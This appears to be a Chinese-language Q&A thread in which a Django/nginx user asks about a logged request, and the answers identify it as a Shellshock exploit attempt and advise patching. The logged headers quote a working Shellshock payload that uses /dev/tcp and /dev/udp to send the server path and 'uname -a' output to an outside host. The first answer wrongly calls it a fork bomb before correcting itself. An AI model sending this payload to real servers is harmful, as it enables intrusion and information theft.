Django 可能的安全攻击

Question

我已设置 django 以在任何请求失败时通过电子邮件提醒我，并且我不断收到此电子邮件：

Referrer: () { :;}; /bin/bash -c "echo <<my_server_ip>>/cgi-bin/index.cgi  > /dev/tcp/<<unknown_ip>>/21; /bin/uname -a > /dev/tcp/<<unknown_ip>>/21; echo <<my_server_ip>>/cgi-bin/index.cgi > /dev/udp/<<unknown_ip>>/21"
Requested URL: /cgi-bin/index.cgi
User agent: () { :;}; /bin/bash -c "echo <<my_server_ip>>/cgi-bin/index.cgi  > /dev/tcp/<<unknown_ip>>/21; /bin/uname -a > /dev/tcp/<<unknown_ip>>/21; echo <<my_server_ip>>/cgi-bin/index.cgi > /dev/udp/<<unknown_ip>>/21"
IP address: 127.0.0.1

这是什么意思？我应该打扰吗？

我正在使用 nginx、ubuntu、gunicorn。

Answer 1

这看起来像是在尝试fork bomb：

() { :;};

幸运的是，如果您的服务器在发送后仍在运行，则意味着它正在被清理或忽略。

---

正如@TheGreatContini 指出的那样，这是actually an attempted Shellshock attack。这让我的回答有点不安全。值得确保您的服务器已完全修补并保持最新状态，并检查任何传出流量以确保您没有受到影响。

Answer 2

这是对shell shock漏洞的利用尝试。